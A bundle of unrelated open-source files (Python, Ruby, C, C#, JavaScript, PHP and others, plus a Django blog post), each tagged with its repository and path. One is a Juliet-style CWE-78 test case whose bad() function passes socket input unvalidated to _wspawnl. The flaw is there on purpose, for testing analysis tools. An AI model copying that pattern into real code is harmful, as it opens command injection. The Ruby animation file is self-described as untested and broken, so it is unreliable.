"""
def __init__(self, field, pattern, fast=True):
super().__init__(field, pattern, fast)
if isinstance(pattern, str):
self.pattern = util.str2bool(pattern)
self.pattern = int(self.pattern)
class BytesQuery(MatchQuery):
"""Match a raw bytes field (i.e., a path). This is a necessary hack
to work around the `sqlite3` module's desire to treat `bytes` and
`unicode` equivalently in Python 2. Always use this query instead of
`MatchQuery` when matching on BLOB values.
"""
def __init__(self, field, pattern):
super().__init__(field, pattern)
# Use a buffer/memoryview representation of the pattern for SQLite
# matching. This instructs SQLite to treat the blob as binary
# rather than encoded Unicode.
if isinstance(self.pattern, (str, bytes)):
if isinstance(self.pattern, str):
self.pattern = self.pattern.encode('utf-8')
self.buf_pattern = memoryview(self.pattern)
elif isinstance(self.pattern, memoryview):
self.buf_pattern = self.pattern
self.pattern = bytes(self.pattern)
def col_clause(self):
return self.field + " = ?", [self.buf_pattern]
class NumericQuery(FieldQuery):
"""Matches numeric fields. A syntax using Ruby-style range ellipses
(``..``) lets users specify one- or two-sided ranges. For example,
``year:2001..`` finds music released since the turn of the century.
Raises InvalidQueryError when the pattern does not represent an int or
a float.
"""
def _convert(self, s):
"""Convert a string to a numeric type (float or int).
Return None if `s` is empty.
Raise an InvalidQueryError if the string cannot be converted.
"""
# This is really just a bit of fun premature optimization.
if not s:
return None
try:
return int(s)
except ValueError:
try:
return float(s)
except ValueError:
raise InvalidQueryArgumentValueError(s, "an int or a float")
def __init__(self, field, pattern, fast=True):
super().__init__(field, pattern, fast)
parts = pattern.split('..', 1)
if len(parts) == 1:
# No range.
self.point = self._convert(parts[0])
self.rangemin = None
self.rangemax = None
else:
# One- or two-sided range.
self.point = None
self.rangemin = self._convert(parts[0])
self.rangemax = self._convert(parts[1])
def match(self, item):
if self.field not in item:
return False
value = item[self.field]
if isinstance(value, str):
value = self._convert(value)
if self.point is not None:
return value == self.point
else:
if self.rangemin is not None and value < self.rangemin:
return False
if self.rangemax is not None and value > self.rangemax:
return False
return True
def col_clause(self):
if self.point is not None:
return self.field + '=?', (self.point,)
else:
if self.rangemin is not None and self.rangemax is not None:
return ('{0} >= ? AND {0} <= ?'.format(self.field),
(self.rangemin, self.rangemax))
elif self.rangemin is not None:
return f'{self.field} >= ?', (self.rangemin,)
elif self.rangemax is not None:
return f'{self.field} <= ?', (self.rangemax,)
else:
return '1', ()
class CollectionQuery(Query):
"""An abstract query class that aggregates other queries. Can be
indexed like a list to access the sub-queries.
"""
def __init__(self, subqueries=()):
self.subqueries = subqueries
# Act like a sequence.
def __len__(self):
return len(self.subqueries)
def __getitem__(self, key):
return self.subqueries[key]
def __iter__(self):
return iter(self.subqueries)
def __contains__(self, item):
return item in self.subqueries
def clause_with_joiner(self, joiner):
"""Return a clause created by joining together the clauses of
all subqueries with the string joiner (padded by spaces).
"""
clause_parts = []
subvals = []
for subq in self.subqueries:
subq_clause, subq_subvals = subq.clause()
if not subq_clause:
# Fall back to slow query.
return None, ()
clause_parts.append('(' + subq_clause + ')')
subvals += subq_subvals
clause = (' ' + joiner + ' ').join(clause_parts)
return clause, subvals
def __repr__(self):
return "{0.__class__.__name__}({0.subqueries!r})".format(self)
def __eq__(self, other):
return super().__eq__(other) and \
self.subqueries == other.subqueries
def __hash__(self):
"""Since subqueries are mutable, this object should not be hashable.
However and for conveniences purposes, it can be hashed.
"""
return reduce(mul, map(hash, self.subqueries), 1)
class AnyFieldQuery(CollectionQuery):
"""A query that matches if a given FieldQuery subclass matches in
any field. The individual field query class is provided to the
constructor.
"""
def __init__(self, pattern, fields, cls):
self.pattern = pattern
self.fields = fields
self.query_class = cls
subqueries = []
for field in self.fields:
subqueries.append(cls(field, pattern, True))
super().__init__(subqueries)
def clause(self):
return self.clause_with_joiner('or')
def match(self, item):
for subq in self.subqueries:
if subq.match(item):
return True
return False
def __repr__(self):
return ("{0.__class__.__name__}({0.pattern!r}, {0.fields!r}, "
"{0.query_class.__name__})".format(self))
def __eq__(self, other):
return super().__eq__(other) and \
self.query_class == other.query_class
def __hash__(self):
return hash((self.pattern, tuple(self.fields), self.query_class))
class MutableCollectionQuery(CollectionQuery):
"""A collection query whose subqueries may be modified after the
query is initialized.
"""
def __setitem__(self, key, value):
self.subqueries[key] = value
def __delitem__(self, key):
del self.subqueries[key]
class AndQuery(MutableCollectionQuery):
"""A conjunction of a list of other queries."""
def clause(self):
return self.clause_with_joiner('and')
def match(self, item):
return all(q.match(item) for q in self.subqueries)
class OrQuery(MutableCollectionQuery):
"""A conjunction of a list of other queries."""
def clause(self):
return self.clause_with_joiner('or')
def match(self, item):
return any(q.match(item) for q in self.subqueries)
class NotQuery(Query):
"""A query that matches the negation of its `subquery`, as a shorcut for
performing `not(subquery)` without using regular expressions.
"""
def __init__(self, subquery):
self.subquery = subquery
def clause(self):
clause, subvals = self.subquery.clause()
if clause:
return f'not ({clause})', subvals
else:
# If there is no clause, there is nothing to negate. All the logic
# is handled by match() for slow queries.
return clause, subvals
def match(self, item):
return not self.subquery.match(item)
def __repr__(self):
return "{0.__class__.__name__}({0.subquery!r})".format(self)
def __eq__(self, other):
return super().__eq__(other) and \
self.subquery == other.subquery
def __hash__(self):
return hash(('not', hash(self.subquery)))
class TrueQuery(Query):
"""A query that always matches."""
def clause(self):
return '1', ()
def match(self, item):
return True
class FalseQuery(Query):
"""A query that never matches."""
def clause(self):
return '0', ()
def match(self, item):
return False
# Time/date queries.
def _to_epoch_time(date):
"""Convert a `datetime` object to an integer number of seconds since
the (local) Unix epoch.
"""
if hasattr(date, 'timestamp'):
# The `timestamp` method exists on Python 3.3+.
return int(date.timestamp())
else:
epoch = datetime.fromtimestamp(0)
delta = date - epoch
return int(delta.total_seconds())
def _parse_periods(pattern):
"""Parse a string containing two dates separated by two dots (..).
Return a pair of `Period` objects.
"""
parts = pattern.split('..', 1)
if len(parts) == 1:
instant = Period.parse(parts[0])
return (instant, instant)
else:
start = Period.parse(parts[0])
end = Period.parse(parts[1])
return (start, end)
class Period:
"""A period of time given by a date, time and precision.
Example: 2014-01-01 10:50:30 with precision 'month' represents all
instants of time during January 2014.
"""
precisions = ('year', 'month', 'day', 'hour', 'minute', 'second')
date_formats = (
('%Y',), # year
('%Y-%m',), # month
('%Y-%m-%d',), # day
('%Y-%m-%dT%H', '%Y-%m-%d %H'), # hour
('%Y-%m-%dT%H:%M', '%Y-%m-%d %H:%M'), # minute
('%Y-%m-%dT%H:%M:%S', '%Y-%m-%d %H:%M:%S') # second
)
relative_units = {'y': 365, 'm': 30, 'w': 7, 'd': 1}
relative_re = '(?P<sign>[+|-]?)(?P<quantity>[0-9]+)' + \
'(?P<timespan>[y|m|w|d])'
def __init__(self, date, precision):
"""Create a period with the given date (a `datetime` object) and
precision (a string, one of "year", "month", "day", "hour", "minute",
or "second").
"""
if precision not in Period.precisions:
raise ValueError(f'Invalid precision {precision}')
self.date = date
self.precision = precision
@classmethod
def parse(cls, string):
"""Parse a date and return a `Period` object or `None` if the
string is empty, or raise an InvalidQueryArgumentValueError if
the string cannot be parsed to a date.
The date may be absolute or relative. Absolute dates look like
`YYYY`, or `YYYY-MM-DD`, or `YYYY-MM-DD HH:MM:SS`, etc. Relative
dates have three parts:
- Optionally, a ``+`` or ``-`` sign indicating the future or the
past. The default is the future.
- A number: how much to add or subtract.
- A letter indicating the unit: days, weeks, months or years
(``d``, ``w``, ``m`` or ``y``). A "month" is exactly 30 days
and a "year" is exactly 365 days.
"""
def find_date_and_format(string):
for ord, format in enumerate(cls.date_formats):
for format_option in format:
try:
date = datetime.strptime(string, format_option)
return date, ord
except ValueError:
# Parsing failed.
pass
return (None, None)
if not string:
return None
# Check for a relative date.
match_dq = re.match(cls.relative_re, string)
if match_dq:
sign = match_dq.group('sign')
quantity = match_dq.group('quantity')
timespan = match_dq.group('timespan')
# Add or subtract the given amount of time from the current
# date.
multiplier = -1 if sign == '-' else 1
days = cls.relative_units[timespan]
date = datetime.now() + \
timedelta(days=int(quantity) * days) * multiplier
return cls(date, cls.precisions[5])
# Check for an absolute date.
date, ordinal = find_date_and_format(string)
if date is None:
raise InvalidQueryArgumentValueError(string,
'a valid date/time string')
precision = cls.precisions[ordinal]
return cls(date, precision)
def open_right_endpoint(self):
"""Based on the precision, convert the period to a precise
`datetime` for use as a right endpoint in a right-open interval.
"""
precision = self.precision
date = self.date
if 'year' == self.precision:
return date.replace(year=date.year + 1, month=1)
elif 'month' == precision:
if (date.month < 12):
return date.replace(month=date.month + 1)
else:
return date.replace(year=date.year + 1, month=1)
elif 'day' == precision:
return date + timedelta(days=1)
elif 'hour' == precision:
return date + timedelta(hours=1)
elif 'minute' == precision:
return date + timedelta(minutes=1)
elif 'second' == precision:
return date + timedelta(seconds=1)
else:
raise ValueError(f'unhandled precision {precision}')
class DateInterval:
"""A closed-open interval of dates.
A left endpoint of None means since the beginning of time.
A right endpoint of None means towards infinity.
"""
def __init__(self, start, end):
if start is not None and end is not None and not start < end:
raise ValueError("start date {} is not before end date {}"
.format(start, end))
self.start = start
self.end = end
@classmethod
def from_periods(cls, start, end):
"""Create an interval with two Periods as the endpoints.
"""
end_date = end.open_right_endpoint() if end is not None else None
start_date = start.date if start is not None else None
return cls(start_date, end_date)
def contains(self, date):
if self.start is not None and date < self.start:
return False
if self.end is not None and date >= self.end:
return False
return True
def __str__(self):
return f'[{self.start}, {self.end})'
class DateQuery(FieldQuery):
"""Matches date fields stored as seconds since Unix epoch time.
Dates can be specified as ``year-month-day`` strings where only year
is mandatory.
The value of a date field can be matched against a date interval by
using an ellipsis interval syntax similar to that of NumericQuery.
"""
def __init__(self, field, pattern, fast=True):
super().__init__(field, pattern, fast)
start, end = _parse_periods(pattern)
self.interval = DateInterval.from_periods(start, end)
def match(self, item):
if self.field not in item:
return False
timestamp = float(item[self.field])
date = datetime.fromtimestamp(timestamp)
return self.interval.contains(date)
_clause_tmpl = "{0} {1} ?"
def col_clause(self):
clause_parts = []
subvals = []
if self.interval.start:
clause_parts.append(self._clause_tmpl.format(self.field, ">="))
subvals.append(_to_epoch_time(self.interval.start))
if self.interval.end:
clause_parts.append(self._clause_tmpl.format(self.field, "<"))
subvals.append(_to_epoch_time(self.interval.end))
if clause_parts:
# One- or two-sided interval.
clause = ' AND '.join(clause_parts)
else:
# Match any date.
clause = '1'
return clause, subvals
class DurationQuery(NumericQuery):
"""NumericQuery that allow human-friendly (M:SS) time interval formats.
Converts the range(s) to a float value, and delegates on NumericQuery.
Raises InvalidQueryError when the pattern does not represent an int, float
or M:SS time interval.
"""
def _convert(self, s):
"""Convert a M:SS or numeric string to a float.
Return None if `s` is empty.
Raise an InvalidQueryError if the string cannot be converted.
"""
if not s:
return None
try:
return util.raw_seconds_short(s)
except ValueError:
try:
return float(s)
except ValueError:
raise InvalidQueryArgumentValueError(
s,
"a M:SS string or a float")
# Sorting.
class Sort:
"""An abstract class representing a sort operation for a query into
the item database.
"""
def order_clause(self):
"""Generates a SQL fragment to be used in a ORDER BY clause, or
None if no fragment is used (i.e., this is a slow sort).
"""
return None
def sort(self, items):
"""Sort the list of objects and return a list.
"""
return sorted(items)
def is_slow(self):
"""Indicate whether this query is *slow*, meaning that it cannot
be executed in SQL and must be executed in Python.
"""
return False
def __hash__(self):
return 0
def __eq__(self, other):
return type(self) == type(other)
class MultipleSort(Sort):
"""Sort that encapsulates multiple sub-sorts.
"""
def __init__(self, sorts=None):
self.sorts = sorts or []
def add_sort(self, sort):
self.sorts.append(sort)
def _sql_sorts(self):
"""Return the list of sub-sorts for which we can be (at least
partially) fast.
A contiguous suffix of fast (SQL-capable) sub-sorts are
executable in SQL. The remaining, even if they are fast
independently, must be executed slowly.
"""
sql_sorts = []
for sort in reversed(self.sorts):
if not sort.order_clause() is None:
sql_sorts.append(sort)
else:
break
sql_sorts.reverse()
return sql_sorts
def order_clause(self):
order_strings = []
for sort in self._sql_sorts():
order = sort.order_clause()
order_strings.append(order)
return ", ".join(order_strings)
def is_slow(self):
for sort in self.sorts:
if sort.is_slow():
return True
return False
def sort(self, items):
slow_sorts = []
switch_slow = False
for sort in reversed(self.sorts):
if switch_slow:
slow_sorts.append(sort)
elif sort.order_clause() is None:
switch_slow = True
slow_sorts.append(sort)
else:
pass
for sort in slow_sorts:
items = sort.sort(items)
return items
def __repr__(self):
return f'MultipleSort({self.sorts!r})'
def __hash__(self):
return hash(tuple(self.sorts))
def __eq__(self, other):
return super().__eq__(other) and \
self.sorts == other.sorts
class FieldSort(Sort):
"""An abstract sort criterion that orders by a specific field (of
any kind).
"""
def __init__(self, field, ascending=True, case_insensitive=True):
self.field = field
self.ascending = ascending
self.case_insensitive = case_insensitive
def sort(self, objs):
# TODO: Conversion and null-detection here. In Python 3,
# comparisons with None fail. We should also support flexible
# attributes with different types without falling over.
def key(item):
field_val = item.get(self.field, '')
if self.case_insensitive and isinstance(field_val, str):
field_val = field_val.lower()
return field_val
return sorted(objs, key=key, reverse=not self.ascending)
def __repr__(self):
return '<{}: {}{}>'.format(
type(self).__name__,
self.field,
'+' if self.ascending else '-',
)
def __hash__(self):
return hash((self.field, self.ascending))
def __eq__(self, other):
return super().__eq__(other) and \
self.field == other.field and \
self.ascending == other.ascending
class FixedFieldSort(FieldSort):
"""Sort object to sort on a fixed field.
"""
def order_clause(self):
order = "ASC" if self.ascending else "DESC"
if self.case_insensitive:
field = '(CASE ' \
'WHEN TYPEOF({0})="text" THEN LOWER({0}) ' \
'WHEN TYPEOF({0})="blob" THEN LOWER({0}) ' \
'ELSE {0} END)'.format(self.field)
else:
field = self.field
return f"{field} {order}"
class SlowFieldSort(FieldSort):
"""A sort criterion by some model field other than a fixed field:
i.e., a computed or flexible field.
"""
def is_slow(self):
return True
class NullSort(Sort):
"""No sorting. Leave results unsorted."""
def sort(self, items):
return items
def __nonzero__(self):
return self.__bool__()
def __bool__(self):
return False
def __eq__(self, other):
return type(self) == type(other) or other is None
def __hash__(self):
return 0
| beetbox/beets | beets/dbcore/query.py | Python | mit | 29,107 |
require_relative '../animation'
module NixonPi
module Animations
class CountFromToAnimation < Animation
register :count_from_to, self
accepted_commands :start_value, :single_digit?
# TODO: unfinished and untested
def initialize(options = {})
super(options)
@options[:single_digit?] ||= true
from = @options[:start_value]
to = from
if @options[:single_digit?]
from.each_char { |f| to[i] = (f.to_i += 1).to_s }
from.reverse.each_char.with_index do |number|
@output << number
end
end
end
def write
handle_output_on_tick(@output.shift)
end
end
end
end
| danielkummer/nixon-pi | lib/nixonpi/animations/tube/count_up_all_animation.rb | Ruby | mit | 704 |
FROM python:3
ADD ./simplesocial /simplesocial
WORKDIR /simplesocial
RUN pip install -r requirements.txt
EXPOSE 8000
CMD [ "python", "manage.py", "runserver", "0.0.0.0:8000"] | srijannnd/Login-and-Register-App-in-Django | Dockerfile | Dockerfile | mit | 179 |
---
layout: post
title: "Class Based Views"
date: 2013-05-13 07:04
tags: [python, django, yakindanegitim]
icons: [python]
---
Web development is a bit repetitive and web frameworks try to reduce this burden. One of the best features of Django for making object manipulation easier is class based views(CBV). We are usually good to go by only setting model in class based views and in the background, it handles all form processing.
There is also function based views(FBV) which have the same power and some more. I think, difference between them can be best explained by the analogy of C vs Python. Python is compact and writing Python is more fun. That's why it enables to do lots of work in a few lines. On the other hand, C is verbose and fast since there is no boilerplate and you directly do what you want but whenever you go off the standard lines and need some more control, you have to use C.
Even if CBVs get attention recently, FBVs aren't deprecated. Python gets traction but C is always [there](http://www.tiobe.com/content/paperinfo/tpci/index.html) so which one should we use?
CBVs enables to write more compact code as a result of more enjoyable reading, that is quite important for maintenance. Moreover, CBVs are better to write tests for. Therefore, we should stick to them when possible.
Mainly, CBVs have two disadvantages; namely, a very steep learning curve and the difficulty of handling multiple forms.
1- How is context data created? How is object retrieved? How is form validated? In FBVs, most of the time, we write these logic ourselves explicitly but in CBVs, we should aware of how and when our methods are called. Getting used to it takes some time but later, I think, CBV makes us more productive.
2- Even if inline formsets makes possible multi model form handling in CBVs, it is hard. It seems this is the only reason to use FBVs.
Now, I would like to show inline formset usage via CBVs with an example(adding album with songs):
Our models:
``` python
# models.py
from django.db import models
class Album(models.Model):
name = models.CharField(max_length=255)
class Song(models.Model):
name = models.CharField(max_length=255)
lyrics = models.TextField(blank=True, null=True)
album = models.ForeignKey(Album)
```
Our forms:
``` python
# forms.py
from django.forms import ModelForm
from django.forms.models import inlineformset_factory
from .models import Album, Song
class AlbumForm(ModelForm):
class Meta:
model = Album
AlbumSongFormSet = inlineformset_factory(Album, Song, form=AlbumForm, extra=3)
```
Our create view:
``` python
# views.py
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect
from django.shortcuts import get_object_or_404
from django.views.generic import CreateView
from django.utils.text import slugify
from django.utils.translation import ugettext as _
from braces.views import LoginRequiredMixin
from core.mixins import ActionMixin
from .models import Album, Song
from .forms import AlbumForm
class AlbumCreateView(LoginRequiredMixin, ActionMixin, CreateView):
model = Album
form_class = AlbumForm
template_name = 'music/album_add.html'
action = _("Album is successfully added") # ActionMixin is written in an earlier post
def form_valid(self, form):
context = self.get_context_data()
albumsong_form = context['albumsong_formset']
if albumsong_form.is_valid():
self.object = form.save(commit=False) # to set extra attributes that doesn't come from form
self.object.artist = Artist.objects.get(profile__username__exact=self.kwargs.get("username"))
self.object.slug = slugify(self.object.name)
self.object.save()
for song_form in albumsong_form:
song = song_form.save(commit=False)
song.slug = slugify(song.name)
song.album = self.object
song.save()
return HttpResponseRedirect(self.get_success_url())
else:
return self.render_to_response(self.get_context_data(form=form))
def form_invalid(self, form):
return self.render_to_response(self.get_context_data(form=form))
def get_context_data(self, **kwargs):
context = super(AlbumCreateView, self).get_context_data(**kwargs)
if self.request.POST:
context['albumsong_formset'] = AlbumSongFormSet(self.request.POST)
else:
context['albumsong_formset'] = AlbumSongFormSet()
return context
def get_success_url(self):
return reverse('artist_detail', kwargs=self.kwargs)
```
And finally, our urlconf:
``` python
# urls.py
from django.conf.urls import patterns, url
from .views import *
urlpatterns = patterns('',
url(r'^(?P<username>[-_\.\w]+)/add/$',
AlbumCreateView.as_view(), name="album_add"),
)
```
That's it!
| ferhatelmas/ferhatelmas.github.com | hack/yakindanegitim/_posts/2013-05-13-class-based-views.markdown | Markdown | mit | 4,908 |
local Swapout = require('sconce.Swapout')
return function(tester)
local suite = torch.TestSuite()
function suite.test_swapout_always_add()
local swapout = Swapout.new(1.0)
local actual = swapout:forward({torch.Tensor{1, 2}, torch.Tensor{3, 2}})
local expected = torch.Tensor{4, 4}
tester:eq(actual, expected)
end
function suite.test_swapout_never_add()
local swapout = Swapout.new(0.0)
local actual = swapout:forward({torch.Tensor{1, 2}, torch.Tensor{3, 2}})
local expected = torch.Tensor{0, 0}
tester:eq(actual, expected)
end
function suite.test_swapout_sometimes_add()
torch.manualSeed(1234)
local swapout = Swapout.new(0.5)
local actual = swapout:forward({
torch.Tensor(4):fill(1), torch.Tensor(4):fill(2)
})
local expected = torch.Tensor{3, 1, 0, 0}
tester:eq(actual, expected)
end
tester:add(suite)
return suite
end
| anibali/sconce | test/test_swapout.lua | Lua | mit | 907 |
"use strict";
var http_1 = require("@angular/http");
var AppSettings = (function () {
function AppSettings() {
}
Object.defineProperty(AppSettings, "API_OPTIONS", {
get: function () {
var headers = new http_1.Headers({ 'Content-Type': 'application/json' }), options = new http_1.RequestOptions({ headers: headers });
return options;
},
enumerable: true,
configurable: true
});
Object.defineProperty(AppSettings, "API_URL", {
get: function () {
var devMode = true, prodPath = "http://cristi.red:8080/api", apiSecured = false, apiHost = "localhost", apiPort = "8080/api";
return (devMode) ? ("http" + ((apiSecured) ? "s" : "") + "://" + apiHost + ":" + apiPort) : prodPath;
},
enumerable: true,
configurable: true
});
Object.defineProperty(AppSettings, "SOCKETG_URL", {
get: function () {
var devMode = true, prodPath = "http://cristi.red:8080/gs-guide-websocket", local = "http://localhost:8080/gs-guide-websocket";
return (devMode) ? local : prodPath;
},
enumerable: true,
configurable: true
});
return AppSettings;
}());
exports.AppSettings = AppSettings;
//# sourceMappingURL=app.settings.js.map | cristirosu/rpg-scheduler-front | src/app/shared/services/app.settings.js | JavaScript | mit | 1,301 |
const fs = require('fs')
const path = require('path')
const {generateBabelEnvLoader, getConfig} = require('./common')
const buildCache = {}
module.exports = (params) => {
const baseConfig = getConfig(params)
const config = Object.assign({}, baseConfig)
config.outputPath = path.join(__dirname, '../dist-' + config.app)
return {
entry: config.sourcePath + '/tools/initdb.js',
context: config.sourcePath,
target: 'node',
output: {
path: config.outputPath,
filename: 'initdb.js'
},
stats: {
colors: true,
reasons: true,
chunks: false
},
cache: buildCache,
module: {
rules: [generateBabelEnvLoader({node: 'current'}, config)]
},
resolve: {
extensions: ['.js', '.jsx'],
alias: baseConfig.aliases
},
devServer: {
contentBase: config.sourcePath
}
}
}
| bourbest/keeptrack | client/tasks/tool-initdb.js | JavaScript | mit | 868 |
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using tomware.Microwf.Domain;
using tomware.Microwf.Infrastructure;
namespace tomware.Microwf.Engine
{
public interface IJobQueueControllerService
{
Task<IEnumerable<WorkItemViewModel>> GetSnapshotAsync();
Task<PaginatedList<WorkItemViewModel>> GetUpCommingsAsync(PagingParameters parameters);
Task<PaginatedList<WorkItemViewModel>> GetFailedAsync(PagingParameters parameters);
Task Reschedule(WorkItemViewModel model);
}
public class JobQueueControllerService : IJobQueueControllerService
{
private readonly IJobQueueService service;
private readonly IWorkItemService workItemService;
public JobQueueControllerService(
IJobQueueService service,
IWorkItemService workItemService
)
{
this.service = service;
this.workItemService = workItemService;
}
public async Task<IEnumerable<WorkItemViewModel>> GetSnapshotAsync()
{
var result = this.service.GetSnapshot();
return await Task.FromResult(result.Select(x => ToViewModel(x)));
}
public async Task<PaginatedList<WorkItemViewModel>> GetUpCommingsAsync(
PagingParameters parameters
)
{
var result = await this.workItemService.GetUpCommingsAsync(parameters);
return new PaginatedList<WorkItemViewModel>(
result.Select(x => ToViewModel(x)),
result.AllItemsCount,
parameters.PageIndex,
parameters.PageSize
);
}
public async Task<PaginatedList<WorkItemViewModel>> GetFailedAsync(
PagingParameters parameters
)
{
var result = await this.workItemService.GetFailedAsync(parameters);
return new PaginatedList<WorkItemViewModel>(
result.Select(x => ToViewModel(x)),
result.AllItemsCount,
parameters.PageIndex,
parameters.PageSize
);
}
public async Task Reschedule(WorkItemViewModel model)
{
await this.workItemService.Reschedule(new Infrastructure.WorkItemDto
{
Id = model.Id,
DueDate = model.DueDate
});
}
private WorkItemViewModel ToViewModel(Domain.WorkItemDto dto)
{
return PropertyMapper<Domain.WorkItemDto, WorkItemViewModel>.From(dto);
// return new WorkItemViewModel
// {
// Id = dto.Id,
// TriggerName = dto.TriggerName,
// EntityId = dto.EntityId,
// WorkflowType = dto.WorkflowType,
// Retries = dto.Retries,
// Error = dto.Error,
// DueDate = dto.DueDate
// };
}
}
} | thomasduft/microwf | src/microwf.AspNetCoreEngine/Services/JobQueueControllerService.cs | C# | mit | 2,595 |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18.c
Label Definition File: CWE78_OS_Command_Injection.strings.label.xml
Template File: sources-sink-18.tmpl.c
*/
/*
* @description
* CWE: 78 OS Command Injection
* BadSource: connect_socket Read data using a connect socket (client side)
* GoodSource: Fixed string
* Sink: w32spawnl
* BadSink : execute command with wspawnl
* Flow Variant: 18 Control flow: goto statements
*
* */
#include "std_testcase.h"
#include <wchar.h>
#ifdef _WIN32
#define COMMAND_INT_PATH L"%WINDIR%\\system32\\cmd.exe"
#define COMMAND_INT L"cmd.exe"
#define COMMAND_ARG1 L"/c"
#define COMMAND_ARG2 L"dir"
#define COMMAND_ARG3 data
#else /* NOT _WIN32 */
#include <unistd.h>
#define COMMAND_INT_PATH L"/bin/sh"
#define COMMAND_INT L"sh"
#define COMMAND_ARG1 L"ls"
#define COMMAND_ARG2 L"-la"
#define COMMAND_ARG3 data
#endif
#ifdef _WIN32
#include <winsock2.h>
#include <windows.h>
#include <direct.h>
#pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */
#define CLOSE_SOCKET closesocket
#else /* NOT _WIN32 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSE_SOCKET close
#define SOCKET int
#endif
#define TCP_PORT 27015
#define IP_ADDRESS "127.0.0.1"
#include <process.h>
#ifndef OMITBAD
void CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18_bad()
{
wchar_t * data;
wchar_t dataBuffer[100] = L"";
data = dataBuffer;
goto source;
source:
{
#ifdef _WIN32
WSADATA wsaData;
int wsaDataInit = 0;
#endif
int recvResult;
struct sockaddr_in service;
wchar_t *replace;
SOCKET connectSocket = INVALID_SOCKET;
size_t dataLen = wcslen(data);
do
{
#ifdef _WIN32
if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
{
break;
}
wsaDataInit = 1;
#endif
/* POTENTIAL FLAW: Read data using a connect socket */
connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (connectSocket == INVALID_SOCKET)
{
break;
}
memset(&service, 0, sizeof(service));
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr(IP_ADDRESS);
service.sin_port = htons(TCP_PORT);
if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
{
break;
}
/* Abort on error or the connection was closed, make sure to recv one
* less char than is in the recv_buf in order to append a terminator */
/* Abort on error or the connection was closed */
recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(wchar_t) * (100 - dataLen - 1), 0);
if (recvResult == SOCKET_ERROR || recvResult == 0)
{
break;
}
/* Append null terminator */
data[dataLen + recvResult / sizeof(wchar_t)] = L'\0';
/* Eliminate CRLF */
replace = wcschr(data, L'\r');
if (replace)
{
*replace = L'\0';
}
replace = wcschr(data, L'\n');
if (replace)
{
*replace = L'\0';
}
}
while (0);
if (connectSocket != INVALID_SOCKET)
{
CLOSE_SOCKET(connectSocket);
}
#ifdef _WIN32
if (wsaDataInit)
{
WSACleanup();
}
#endif
}
/* wspawnl - specify the path where the command is located */
/* POTENTIAL FLAW: Execute command without validating input possibly leading to command injection */
_wspawnl(_P_WAIT, COMMAND_INT_PATH, COMMAND_INT_PATH, COMMAND_ARG1, COMMAND_ARG2, COMMAND_ARG3, NULL);
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B() - use goodsource and badsink by reversing the blocks on the goto statement */
static void goodG2B()
{
wchar_t * data;
wchar_t dataBuffer[100] = L"";
data = dataBuffer;
goto source;
source:
/* FIX: Append a fixed string to data (not user / external input) */
wcscat(data, L"*.*");
/* wspawnl - specify the path where the command is located */
/* POTENTIAL FLAW: Execute command without validating input possibly leading to command injection */
_wspawnl(_P_WAIT, COMMAND_INT_PATH, COMMAND_INT_PATH, COMMAND_ARG1, COMMAND_ARG2, COMMAND_ARG3, NULL);
}
void CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18_good()
{
goodG2B();
}
#endif /* OMITGOOD */
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
#ifdef INCLUDEMAIN
int main(int argc, char * argv[])
{
/* seed randomness */
srand( (unsigned)time(NULL) );
#ifndef OMITGOOD
printLine("Calling good()...");
CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18_good();
printLine("Finished good()");
#endif /* OMITGOOD */
#ifndef OMITBAD
printLine("Calling bad()...");
CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18_bad();
printLine("Finished bad()");
#endif /* OMITBAD */
return 0;
}
#endif
| maurer/tiamat | samples/Juliet/testcases/CWE78_OS_Command_Injection/s05/CWE78_OS_Command_Injection__wchar_t_connect_socket_w32spawnl_18.c | C | mit | 5,742 |
require "pivotal/sass/version"
module Pivotal
module Sass
class Engine < ::Rails::Engine
end
end
end
| pivotal/pivotal-styles-sass | lib/pivotal/sass.rb | Ruby | mit | 114 |
<?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateUsersTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('users', function (Blueprint $table) {
$table->increments('id');
$table->string('name');
$table->string('email')->unique();
$table->string('password', 200);
$table->string('provider');
$table->string('provider_id');
$table->rememberToken();
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('users');
}
}
| Ranthalion/LevelUp | database/migrations/2014_10_12_000000_create_users_table.php | PHP | mit | 787 |
<html><body>
<h4>Windows 10 x64 (19041.208) 2004</h4><br>
<h2>_HEAP_DESCRIPTOR_KEY</h2>
<font face="arial"> +0x000 Key : Uint4B<br>
+0x000 EncodedCommittedPageCount : Pos 0, 16 Bits<br>
+0x000 LargePageCost : Pos 16, 8 Bits<br>
+0x000 UnitCount : Pos 24, 8 Bits<br>
</font></body></html> | epikcraw/ggool | public/Windows 10 x64 (19041.208) 2004/_HEAP_DESCRIPTOR_KEY.html | HTML | mit | 328 |
<?php
/*
*
*/
namespace RDF\JobDefinitionFormatBundle\Type;
/**
*
*
* @author Richard Fullmer <[email protected]>
*/
class CMYKColor
{
/**
* @var float
*/
protected $cyan;
/**
* @var float
*/
protected $magenta;
/**
* @var float
*/
protected $yellow;
/**
* @var float
*/
protected $black;
/**
* @param float $cyan
* @param float $magenta
* @param float $yellow
* @param float $black
*/
public function __construct($cyan, $magenta, $yellow, $black)
{
$this->cyan = (float) $cyan;
$this->magenta = (float) $magenta;
